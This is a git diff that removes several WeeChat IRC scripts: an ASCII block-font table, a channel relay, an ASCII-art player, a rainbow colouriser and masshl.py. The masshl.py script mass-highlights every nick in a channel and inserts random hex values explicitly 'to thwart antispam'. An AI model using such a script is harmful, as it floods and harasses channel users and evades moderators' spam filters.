-"$c3 $c1.$c2#######$c3 ",
-"$c1.$c2##$c3 $c1.$c2#$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2#$c3 ",
-"$c3 $c1.$c2#######$c3 ",
-"$c3 $c1.$c2#$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2#$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2#######$c3 ",
-"$c3 $c1.$c2#$c3 ",
-],
-'%' => [
-"$c3 ",
-"$c1.$c2##$c3 $c1.$c2##",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##",
-"$c3 ",
-],
-'^' => [
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2###$c3 ",
-"$c3 $c1.$c2##$c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-],
-'&' => [
-"$c3 ",
-"$c3 $c1.$c2####$c3 ",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2####$c3 ",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2######$c1.$c2##$c3",
-"$c3 ",
-],
-'*' => [
-"$c3 ",
-"$c3 ",
-"$c1.$c2#$c3 $c1.$c2#",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2#$c3 $c1.$c2#",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-],
-'(' => [
-"$c3 ",
-"$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3",
-"$c3 ",
-],
-')' => [
-"$c3 ",
-"$c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c3 ",
-],
-'_' => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c1.$c2########$c3",
-"$c3 ",
-],
-'-' => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c1.$c2########$c3",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-],
-'+' => [
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2########$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 ",
-"$c3 ",
-],
-'=' => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c1.$c2########$c3",
-"$c3 ",
-"$c1.$c2########$c3",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-],
-'|' => [
-"$c3 ",
-"$c1.$c2##$c3",
-"$c1.$c2##$c3",
-"$c1.$c2##$c3",
-"$c1.$c2##$c3",
-"$c1.$c2##$c3",
-"$c1.$c2##$c3",
-"$c1.$c2##$c3",
-"$c3 ",
-],
-'\\' => [
-"$c3 ",
-"$c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
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c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-],
-'<' => [
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3",
-"$c3 ",
-"$c3 ",
-],
-'>' => [
-"$c3 ",
-"$c3 ",
-"$c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c3 ",
-"$c3 ",
-],
-'?' => [
-"$c3 ",
-"$c3 $c1.$c2#####$c3 ",
-"$c3 $c1.$c2##$c3 $c1.$c2##",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 ",
-],
-"\," => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c1.$c2##$c3",
-"$c3 $c1.$c2#$c3",
-],
-"\." => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c1.$c2##",
-"$c3 ",
-],
-"\/" => [
-"$c3 ",
-"$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c3 ",
-],
-);
-}
diff --git a/irc/weechat/masshl.py b/irc/weechat/masshl.py
@@ -1,106 +0,0 @@
-# Released into the Public Domain
-
-import random
-#from threading import Thread
-#from time import sleep
-import weechat
-
-SCRIPT_NAME = "masshl"
-SCRIPT_AUTHOR = "The Krusty Krab <wowaname@volatile.ch>"
-SCRIPT_VERSION = "1.0"
-SCRIPT_LICENSE = "Public domain"
-SCRIPT_DESC = "Provides nicklist hooks."
-
-if weechat.register(SCRIPT_NAME, SCRIPT_AUTHOR, SCRIPT_VERSION,
- SCRIPT_LICENSE, SCRIPT_DESC, "", ""):
- weechat.hook_command("masshl",
- SCRIPT_DESC,
- "[-do <delay>] text (broken, currently no-op)",
- "-d Specify a delay at the beginning (e.g. -d 1 for\n"
- " one second) to insert a delay between messages.\n"
- " %n - replace with next nick\n"
- " %N - replace with as many nicks as possible per line\n"
- " %r - replace with random hex value to thwart antispam\n"
- "-o Include your own nick in output",
- "-od", "masshl_cmd_cb", "")
-
-class Loop():
- def __init__(self, buffer, nicks, input, input_method, N_param, delay, opts):
- self.buffer = buffer
- self.nicks = nicks
- self.input = input
- self.input_method = input_method
- self.N_param = N_param
- self.delay = delay
- self.opts = opts
-
- def run(self):
- i = -('o' not in self.opts)
- if i == -1: self.nicks.pop(0)
- N_nicks = ""
- output = self.input
- for nick in self.nicks:
- i += 1
- if self.N_param:
- N_nicks += " %s" % nick
- if (nick != self.nicks[-1] and
- len(output) + len(N_nicks) + len(self.nicks[i]) < 300):
- continue
- else: output = self.input.replace("%n",nick)
- N_nicks = N_nicks.lstrip()
- output = output.replace("%N",N_nicks)
- output = output.replace("%r","%08x" % random.randint(0,0xffffffff))
- if self.input_method == "keybinding":
- weechat.buffer_set(self.buffer, "input", output)
- else:
- weechat.command(self.buffer, output)
-# sleep(self.delay)
- output = self.input
- N_nicks = ""
-
-def masshl_cmd_cb(data, buffer, args):
- input = args
-
- input_method = "command"
- server = weechat.buffer_get_string(buffer, 'localvar_server')
- channel = weechat.buffer_get_string(buffer, 'localvar_channel')
-
- if not input or (input[0] == '-' and input.find(' ') == -1):
- input = (input + ' ' if input else '') + weechat.buffer_get_string(buffer, "input")
- input_method = "keybinding"
-
- N_param = "%N" in input
- if not N_param and "%n" not in input and "%r" not in input:
- # if we bind this to Enter key, we don't want useless flooding on
- # normal messages
- return weechat.WEECHAT_RC_OK
-
- optstop = input and input[0] == '-' and input.find(' ')
- opts = input[1:optstop] if optstop else ''
- cmdstop = 'd' in opts and input.find(' ', optstop+1)
- delay = 0
- if 'd' in opts:
- find = input[optstop+1:cmdstop]
- where = input.find(find, cmdstop+1)
- try: delay = float(find)
- except ValueError:
- weechat.prnt(buffer, "delay must be a float value!")
- return weechat.WEECHAT_RC_ERROR
- input = input[where+len(find):]
- else: input = input[optstop+bool(optstop):]
-
- nicklist = weechat.infolist_get("irc_nick", "", "%s,%s" % (server,channel))
-
- # dealing with the cursor can get a little tricky. let's use a dict
- # instead, that way we can manipulate just what we need and we can
- # do that with builtins
- nicks = []
- while weechat.infolist_next(nicklist):
- nicks.append(weechat.infolist_string(nicklist, "name"))
-
- weechat.infolist_free(nicklist)
-
- workhorse = Loop(buffer, nicks, input, input_method, N_param, delay, opts)
- workhorse.run()
-
- return weechat.WEECHAT_RC_OK
diff --git a/irc/weechat/parrot.pl b/irc/weechat/parrot.pl
@@ -1,380 +0,0 @@
-use strict;
-use warnings;
-
-no strict 'subs';
-
-my $SCRIPT_NAME = 'parrot';
-my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
-my $SCRIPT_VERSION = '1.0';
-my $SCRIPT_LICENCE = 'Public domain';
-my $SCRIPT_DESC = 'Relay channel messages and modes';
-
-# %cbs{server}{hook_name} = $hook_ptr:
-# stores hook pointers to unhook() on exit
-# %chans{server}{channel} = @groups:
-# stores groups associated with a channel
-# %groups{groupname}{server}{channel} = $flags:
-# stores channels associated with a group, as well as the channel's flags
-# $READ, $STAT, $MODE:
-# flags for -read, -stat, -mode switches
-our (%cbs, %chans, %groups);
-our ($READ, $STAT, $MODE) = (0x1, 0x2, 0x4);
-our $confpath;
-
-sub servchan
-{
- my $buffer = shift;
- return (lc weechat::buffer_get_string($buffer, 'localvar_server'),
- lc weechat::buffer_get_string($buffer, 'localvar_channel'));
-}
-
-sub ircbuf { weechat::buffer_search('irc', "(?i)".(join '.', @_)) }
-
-sub getgroup
-{
- my ($server, $channel) = @_;
- my @ret;
-
- for my $group (@{ $chans{$server}{$channel} }) {
- for my $to_serv (keys %{ $groups{$group} }) {
- for my $to_chan (keys %{ $groups{$group}{$to_serv} }) {
- # don't send to myself
- next if $to_serv eq $server and $to_chan eq $channel;
- push @ret, [$to_serv, $to_chan, $groups{$group}{$to_serv}{$to_chan}, $group]
- } } }
-
- return @ret;
-}
-
-sub sendto
-{
- my ($server, $command) = @_;
- weechat::hook_signal_send('irc_input_send',
- weechat::WEECHAT_HOOK_SIGNAL_STRING,
- "$server;;1;;$command");
-}
-
-sub add_relay
-{
- my ($groupname, $server, $channel, $flags) = @_;
- return if exists $cbs{$server};
- push @{ $chans{$server}{$channel} }, $groupname;
- $groups{$groupname}{$server}{$channel} = $flags;
- $cbs{$server}{PRIVMSG} =
- weechat::hook_signal("$server,irc_raw_in_privmsg", 'irc_privmsg_notice', '');
- $cbs{$server}{NOTICE} =
- weechat::hook_signal("$server,irc_raw_in_notice", 'irc_privmsg_notice', '');
- $cbs{$server}{OUT_PRIVMSG} =
- weechat::hook_signal("$server,irc_out1_privmsg", 'ircout_privmsg_notice', '');
- $cbs{$server}{OUT_NOTICE} =
- weechat::hook_signal("$server,irc_out1_notice", 'ircout_privmsg_notice', '');
- if ($flags & $STAT) {
- $cbs{$server}{JOIN} =
- weechat::hook_signal("$server,irc_raw_in_join", 'irc_join', '');
- $cbs{$server}{PART} =
- weechat::hook_signal("$server,irc_raw_in_part", 'irc_part', '');
- $cbs{$server}{KICK} =
- weechat::hook_signal("$server,irc_raw_in_kick", 'irc_kick', '');
- $cbs{$server}{NICK} =
- weechat::hook_signal("$server,irc_raw_in_nick", 'irc_nick', '');
- $cbs{$server}{QUIT} =
- weechat::hook_signal("$server,irc_raw_in_quit", 'irc_quit', '');
- }
- if ($flags & $MODE) {
-# $cbs{$server}{MODE} =
-# weechat::hook_signal("$server,irc_raw_in_mode", 'irc_mode', '');
- $cbs{$server}{TOPIC} =
- weechat::hook_signal("$server,irc_raw_in_topic", 'irc_topic', '');
- }
-}
-
-sub read_conf
-{
- open FH, '<', $confpath or weechat::print('', weechat::prefix('error').
- "Error opening $confpath for reading: $!"), return;
- while (<FH>) {
- chomp;
- add_relay(split ' ');
- }
- close FH;
-}
-
-sub write_conf
-{
- open FH, '>', $confpath or weechat::print('', weechat::prefix('error').
- "Error opening $confpath for writing: $!"), return;
- for my $server (keys %chans) {
- for my $channel (keys %{ $chans{$server} }) {
- for my $group (@{ $chans{$server}{$channel} }) {
- my $flags = $groups{$group}{$server}{$channel};
- print FH "$group $server $channel $flags\n";
- } } }
- close FH;
-}
-
-sub irc_privmsg_notice
-{
- my (undef, $server, $cmd, $nick, $channel, $message) = (shift,
- shift =~ /(.+),irc_raw_in_(privmsg|notice)/i,
- shift =~ /:([^! ]*)[^ ]* [^ ]+ ([^ ]+) :?(.*)/i);
- ($server, $channel) = (lc $server, lc $channel);
- return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
-
- for (getgroup($server, $channel)) {
- my ($to_serv, $to_chan, $flags, undef) = @$_;
- next if $flags & $READ;
- next unless ircbuf("$to_serv.$to_chan");
- if ($message =~ /^\x01ACTION /i) {
- $message =~ s/^\x01ACTION |\x01$//g;
- sendto($to_serv, "/msg $to_chan * \x02$nick\x0f $message");
- next;
- }
- my $prefix = lc $cmd eq 'notice' ? "[\x02$nick\x0f]" : "<\x02$nick\x0f>";
- sendto($to_serv, "/msg $to_chan $prefix $message");
- }
-
- return weechat::WEECHAT_RC_OK;
-}
-
-sub ircout_privmsg_notice
-{
- my (undef, $server, $cmd, $channel, $message) = (shift,
- shift =~ /(.*),irc_out1_(privmsg|notice)/i,
- shift =~ /[^ ]+ ([^ ]+) :?(.*)/i);
- ($server, $channel) = (lc $server, lc $channel);
- return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
-
- for (getgroup($server, $channel)) {
- my ($to_serv, $to_chan, $flags, undef) = @$_;
- next if $flags & $READ;
- next unless ircbuf("$to_serv.$to_chan");
- my $prefix = lc $cmd eq 'notice' ? 'notice' : 'msg';
- if ($message =~ /^\x01ACTION /i) {
- $message =~ s/^\x01ACTION |\x01$//g;
- sendto($to_serv, "/$prefix $to_chan \x01ACTION $message\x01");
- next;
- }
- sendto($to_serv, "/$prefix $to_chan $message");
- }
-
- return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_join
-{
- my (undef, $server, $nick, $host, $channel) = (shift,
- shift =~ /(.+),irc_raw_in_join/i,
- shift =~ /:([^! ]*)([^ ]*) join :?([^ ]+)/i);
- ($server, $channel) = (lc $server, lc $channel);
- return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
-
- for (getgroup($server, $channel)) {
- my ($to_serv, $to_chan, $flags, undef) = @$_;
- next unless $flags & $STAT;
- next if $flags & $READ;
- next unless ircbuf("$to_serv.$to_chan");
- sendto($to_serv, "/notice $to_chan \x02$nick\x0f$host joined $server/$channel\x0f");
- }
-
- return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_part
-{
- my (undef, $server, $nick, $channel, $message) = (shift,
- shift =~ /(.+),irc_raw_in_part/i,
- shift =~ /:([^! ]*)[^ ]* part ([^ ]+) ?:?(.*)/i);
- ($server, $channel) = (lc $server, lc $channel);
- return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
-
- for (getgroup($server, $channel)) {
- my ($to_serv, $to_chan, $flags, undef) = @$_;
- next unless $flags & $STAT;
- next if $flags & $READ;
- next unless ircbuf("$to_serv.$to_chan");
- sendto($to_serv, "/notice $to_chan \x02$nick\x0f left $server/$channel\x0f: $message");
- }
-
- return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_kick
-{
- my (undef, $server, $nick, $channel, $target, $message) = (shift,
- shift =~ /(.+),irc_raw_in_kick/i,
- shift =~ /:([^! ]*)[^ ]* kick ([^ ]+) ([^ ]+) :?(.*)/i);
- ($server, $channel) = (lc $server, lc $channel);
- return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
-
- for (getgroup($server, $channel)) {
- my ($to_serv, $to_chan, $flags, undef) = @$_;
- next unless $flags & $STAT;
- next if $flags & $READ;
- next unless ircbuf("$to_serv.$to_chan");
- sendto($to_serv, "/notice $to_chan \x02$nick\x0f kicked $target\x0f from $server/$channel\x0f: $message");
- }
-
- return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_nick
-{
- my (undef, $server, $nick, $newnick) = (shift,
- shift =~ /(.+),irc_raw_in_nick/i,
- shift =~ /:([^! ]*)[^ ]* nick :?(.*)/i);
-
- for my $channel (keys %{ $chans{$server} }) {
- my $iptr = weechat::infolist_get('irc_nick', '', "$server,$channel,$nick");
- next unless $iptr;
- weechat::infolist_free($iptr);
- for (getgroup($server, $channel)) {
- my ($to_serv, $to_chan, $flags, undef) = @$_;
- next unless $flags & $STAT;
- next if $flags & $READ;
- next unless ircbuf("$to_serv.$to_chan");
- sendto($to_serv, "/notice $to_chan \x02$nick\x0f is now \x02$newnick\x0f");
- } }
-
- return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_quit
-{
- my (undef, $server, $nick, $message) = (shift,
- shift =~ /(.+),irc_raw_in_quit/i,
- shift =~ /:([^! ]*)[^ ]* quit :?(.*)/i);
-
- for my $channel (keys %{ $chans{$server} }) {
- my $iptr = weechat::infolist_get('irc_nick', '', "$server,$channel,$nick");
- next unless $iptr;
- weechat::infolist_free($iptr);
- for (getgroup($server, $channel)) {
- my ($to_serv, $to_chan, $flags, undef) = @$_;
- next unless $flags & $STAT;
- next if $flags & $READ;
- next unless ircbuf("$to_serv.$to_chan");
- sendto($to_serv, "/notice $to_chan \x02$nick\x0f left $server: $message");
- } }
-
- return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_mode
-{
- my (undef, $server, $nick, $channel, $modes) = (shift,
- shift =~ /(.+),irc_raw_in_mode/i,
- shift =~ /:([^! ]*)[^ ]* mode ([^ ]+) (.*)/i);
- ($server, $channel) = (lc $server, lc $channel);
- return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
-
- return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_topic
-{
- my (undef, $server, $nick, $channel, $message) = (shift,
- shift =~ /(.+),irc_raw_in_topic/i,
- shift =~ /:([^! ]*)[^ ]* topic ([^ ]+) :?([^ ]+)/i);
- ($server, $channel) = (lc $server, lc $channel);
- weechat::print('',"$server $channel");
- return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
- return weechat::WEECHAT_RC_OK if lc $nick eq lc weechat::info_get('irc_nick', $server);
-
- for (getgroup($server, $channel)) {
- my ($to_serv, $to_chan, $flags, undef) = @$_;
- next unless $flags & $MODE;
- next if $flags & $READ;
- next unless ircbuf("$to_serv.$to_chan");
- sendto($to_serv, "/topic $to_chan $message");
- }
-
- return weechat::WEECHAT_RC_OK;
-}
-
-sub cmd_parrot
-{
- my (undef, $buffer, $command) = @_;
- my ($server, $channel) = servchan($buffer);
- my ($flags, $remove, $groupname) =
- ( 0, 0, '');
- for (split / +/, $command) {
- /^-read$/ and ($flags |= $READ), next;
- /^-stat$/ and ($flags |= $STAT), next;
- /^-mode$/ and ($flags |= $MODE), next;
- /^-remove$/ and ($remove = 1), next;
- $groupname = $_; last;
- }
-
- unless ($groupname) {
- if ($chans{$server}{$channel}) {
- for (getgroup($server, $channel)) {
- my ($to_serv, $to_chan, $flags, $group) = @$_;
- my $flag_str = $flags ? ':' : '';
- $flag_str .= ' readonly' if $flags & $READ;
- $flag_str .= ' statusmsg' if $flags & $STAT;
- $flag_str .= ' sendmodes' if $flags & $MODE;
- weechat::print($buffer, weechat::prefix('server').
- "Relaying to $to_serv/$to_chan in group $group$flag_str");
- }
- } else {
- weechat::print($buffer, weechat::prefix('server').
- "This channel is not being relayed");
- }
- return weechat::WEECHAT_RC_OK;
- }
-
- # clear hooks first (if they exist)
- if (exists $cbs{$server}) {
- weechat::unhook($cbs{$server}{$_}) for (keys %{ $cbs{$server} });
- delete $cbs{$server};
- }
- @{ $chans{$server}{$channel} } =
- grep { $_ ne $groupname } @{ $chans{$server}{$channel} };
-
- if ($remove) {
- delete $groups{$groupname}{$server}{$channel};
- delete $groups{$groupname}{$server} unless $groups{$groupname}{$server};
- delete $groups{$groupname} unless $groups{$groupname};
- delete $chans{$server}{$channel} unless $chans{$server}{$channel};
- delete $chans{$server} unless $chans{$server};
-
- write_conf();
- weechat::print($buffer, weechat::prefix('server').
- "Removed relay from group $groupname");
- return weechat::WEECHAT_RC_OK;
- }
-
- add_relay($groupname, $server, $channel, $flags);
-
- write_conf();
- weechat::print($buffer, weechat::prefix('server').
- "Added relay to group $groupname");
- return weechat::WEECHAT_RC_OK;
-}
-
-sub completion_groupnames
-{
- my $completion = pop;
- weechat::hook_completion_list_add($completion, $_, 0,
- weechat::WEECHAT_LIST_POS_SORT) for keys %groups;
-}
-
-if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
- $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
- $confpath = weechat::info_get('weechat_dir', '') . '/parrot.db';
- weechat::hook_completion('perl_parrot_groupname', 'parrot.pl group names',
- 'completion_groupnames', '');
- weechat::hook_command('parrot', $SCRIPT_DESC,
- "[-read] [-stat] [-mode] groupname\n".
- "-remove",
- "-read: relay from this channel to others, but do not relay to\n".
- " this channel\n".
- "-stat: show status messages (join/part) in this channel\n".
- "-mode: transfer modes to this channel, even if you are op".
- "groupname: all channels with the same group name are relayed together\n".
- "-remove: remove this channel from the relay group",
- '-remove %(perl_parrot_groupname) %-'.
- '||-read|-stat|-mode|%(perl_parrot_groupname)|%*',
- 'cmd_parrot', '');
- read_conf();
-}
diff --git a/irc/weechat/play.pl b/irc/weechat/play.pl
@@ -1,156 +0,0 @@
-use strict;
-use warnings;
-use File::Find::Rule;
-no strict 'subs';
-
-my $SCRIPT_NAME = 'play';
-my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
-my $SCRIPT_VERSION = '1.2';
-my $SCRIPT_LICENCE = 'Public domain';
-my $SCRIPT_DESC = 'Play ASCII art';
-our (%queue, %timer);
-
-if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
- $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
- weechat::hook_command('play', 'Play ASCII art',
- '[-delay ms] [-repeat times] [-pipe "command"] [-fmt "list"] filename'.
- "\n-find pattern\n-stop\n",
- "-delay: delay in milliseconds between lines\n".
- "-find: list matching files, don't play\n".
- "-pipe: pipe output into command\n".
- "-fmt: treat file as a format string and replace with arguments in\n".
- " list. Arguments are separated by semicolons (;)\n".
- "filename: file to play. Supports wildcards. By default, searches\n".
- " subdirectories as well unless '/' is found in the filename\n".
- "-stop: stop currently playing file in buffer",
- '-delay|-pipe|-fmt|-repeat|%*'.
- ' || -find'.
- ' || -stop',
- 'cmd_play', '');
-
- my %OPTIONS = (
- delay => ['Default delay between lines, in milliseconds', 0],
- dir => ['Art directory',
- weechat::info_get('weechat_dir', '').'/ascii'],
- find_limit => ['Maximum number of results returned by -find. '.
- '-1 = unlimited (may lock up WeeChat with many results!)', 32],
- );
-
- for my $option (keys %OPTIONS) {
- weechat::config_set_plugin($option, $OPTIONS{$option}[1])
- unless weechat::config_is_set_plugin($option);
- weechat::config_set_desc_plugin($option, $OPTIONS{$option}[0]);
- }
-}
-
-sub parse
-{
- my ($input, $delay, $pipe, $find, $repeat, $fmt) =
- (shift, weechat::config_get_plugin('delay'), '/msg *', 0, 1, '');
-
- if ($input =~ / *-delay +([0-9]+) /) {
- $delay = $1;
- $input =~ s/-delay +[0-9]+//;
- }
- if ($input =~ / *-find /) {
- $find = 1;
- $input =~ s/-find//;
- }
- if ($input =~ / *-fmt +("(?:[^"\\]|\\.)+"|[^ ]+) /) {
- $fmt = $1;
- $fmt =~ s/^"(.+)"$/$1/ if $fmt =~ /^".+"$/;
- $input =~ s/-fmt +("(?:[^"\\]|\\.)+"|[^ ]+)//;
- }
- if ($input =~ / *-repeat +([0-9]+) /) {
- $repeat = $1;
- $input =~ s/-repeat +[0-9]+//;
- }
- if ($input =~ / *-pipe +("(?:[^"\\]|\\.)+"|[^ ]+) /) {
- $pipe = $1;
- $pipe =~ s/^"(.+)"$/$1/ if $pipe =~ /^".+"$/;
- $input =~ s/-pipe +("(?:[^"\\]|\\.)+"|[^ ]+)//;
- }
-
- return ($delay, $pipe, $find, $repeat, $fmt, $input =~ s/^ +| +$//r);
-}
-
-sub play
-{
- my $buffer = shift;
-
- weechat::command($buffer, shift @{ $queue{$buffer} });
- delete $queue{$buffer} unless @{ $queue{$buffer} };
-
- return weechat::WEECHAT_RC_OK;
-}
-
-sub cmd_play
-{
- my $buffer = $_[1];
-
- if ($_[2] eq '-stop') {
- if (exists $timer{$buffer}) {
- weechat::unhook($timer{$buffer});
- delete $queue{$buffer};
- }
- return weechat::WEECHAT_RC_OK;
- }
-
- my ($delay, $pipe, $find, $repeat, $fmt, $file) = parse($_[2]);
- my $server = weechat::info_get($buffer, 'localvar_server');
- my ($prio_s, $prio_d) = (
- weechat::config_get("irc.server.$server.anti_flood_prio_high"),
- weechat::config_get("irc.server_default.anti_flood_prio_high"),
- );
- $delay = ($delay or 1000 * (
- weechat::config_option_is_null($prio_s)
- ? weechat::config_integer($prio_d)
- : weechat::config_integer($prio_s)
- ) or 10);
-
- my $rule = File::Find::Rule
- ->file
- ->name($file)
- ->start(weechat::config_get_plugin('dir'));
-
- if ($find) {
- my $i = weechat::config_get_plugin('find_limit');
- weechat::print($buffer, " \t$_")
- while defined( $_ = $rule->match ) and --$i;
- weechat::print($buffer, weechat::prefix('error').
- "Too many results; please narrow your search") unless $i;
- weechat::print($buffer, " \tEnd of file listing for '$file'");
- return weechat::WEECHAT_RC_OK;
- }
-
- my $path;
- if ($file =~ m"/") { $path = weechat::config_get_plugin('dir')."/$file" }
- else { $path = $rule->match }
-
- if ($path and -z $path) {
- weechat::print($buffer, weechat::prefix('error').
- "File '$file' is empty");
- } elsif ($path and open FH, "<", $path) {
- my @lines;
- while (<FH>) {
- no warnings; # sprintf barks if there's nothing to replace
- $_ = sprintf $_, split ';', $fmt if $fmt;
- push @lines, s/[\r\n]*$//r
- }
- close FH;
- for (1 .. $repeat) {
- push @{ $queue{$buffer} }, "$pipe \x0f$_\x0f" for @lines;
- }
-
- weechat::unhook($timer{$buffer}) if exists $timer{$buffer};
- $timer{$buffer} =
- weechat::hook_timer($delay, 0, scalar @{ $queue{$buffer} },
- 'play', $buffer);
- } else {
- weechat::print($buffer, weechat::prefix('error').
- "Cannot open '$file'".($! ? ": $!" : ""));
- return weechat::WEECHAT_RC_ERROR;
- }
-
- return weechat::WEECHAT_RC_OK;
-}
diff --git a/irc/weechat/prismx.py b/irc/weechat/prismx.py
@@ -1,138 +0,0 @@
-# Copyright (c) 2010 Alex Barrett <al.barrett@gmail.com>
-#
-# Everyone is permitted to copy and distribute verbatim or modified
-# copies of this license document, and changing it is allowed as long
-# as the name is changed.
-#
-# DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
-# TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-#
-# 0. You just DO WHAT THE FUCK YOU WANT TO.
-
-import weechat as w
-import random
-import re
-
-SCRIPT_NAME = "prismx"
-SCRIPT_AUTHOR = "Alex Barrett <al.barrett@gmail.com>"
-SCRIPT_VERSION = "0.3.1"
-SCRIPT_LICENSE = "WTFPL"
-SCRIPT_DESC = "Taste the rainbow."
-
-# red, lightred, brown, yellow, green, lightgreen, cyan,
-# lightcyan, blue, lightblue, magenta, lightmagenta
-ncolors = [5, 4, 7, 8, 3, 9, 10, 11, 2, 12, 6, 13]
-xcolors = [
-16,28,40,52,64,65,53,41,29,17,18,30,42,54,66,67,55,43,31,19,20,32,44,
-56,68,69,57,45,33,21,22,34,46,58,70,71,59,47,35,23,24,36,48,60,72,73,
-61,49,37,25,26,38,50,62,74,75,63,51,39,27]
-xxcolors = range(100)
-
-# we set this later
-color_count = 0
-
-# keeping a global index means the coloring will pick up where it left off
-color_index = 0
-
-# spaces don't need to be colored and commas cannot be because mIRC is dumb
-chars_neutral = " ,"
-chars_control = "\x01-\x1f\x7f-\x9f"
-
-regex_chars = "[^%(n)s%(s)s][%(n)s%(s)s]*" % { 'n': chars_neutral, 's': chars_control }
-regex_words = "[^%(n)s]+[%(n)s%(s)s]*" % { 'n': chars_neutral, 's': chars_control }
-
-
-if w.register(SCRIPT_NAME, SCRIPT_AUTHOR, SCRIPT_VERSION,
- SCRIPT_LICENSE, SCRIPT_DESC, "", ""):
- w.hook_command("prism",
- SCRIPT_DESC,
- "[-rwmbexsp] [palette] text|-c[wbexsp] [palette] <sep> <command> <sep>text",
- " -r: randomizes the order of the color sequence\n"
- " -w: color entire words instead of individual characters\n"
- " -m: append /me to beginning of output\n"
- " -b: backwards text (entire string is reversed)\n"
- " -e: eye-destroying colors (randomized background colors)\n"
- " -c: specify a separator to turn on colorization\n"
- " eg. -c : /topic :howdy howdy howdy\n"
- " -x: extended color set, requires 256color terminal\n"
- " -s: stretch to fit text\n"
- " -p: specify color palette to use, comma separated\n"
- " text: text to be colored",
- "-r|-w|-m|-b|-e|-c", "prism_cmd_cb", "")
-
-def prism_cmd_cb(data, buffer, args):
- global color_index
- color_local = color_index
- color_index += 1
-
- input = args.decode("UTF-8")
- input_method = "command"
-
- if not input or (input[0] == '-' and input.find(' ') == -1):
- input = (input + ' ' if input else '') + w.buffer_get_string(buffer, "input")
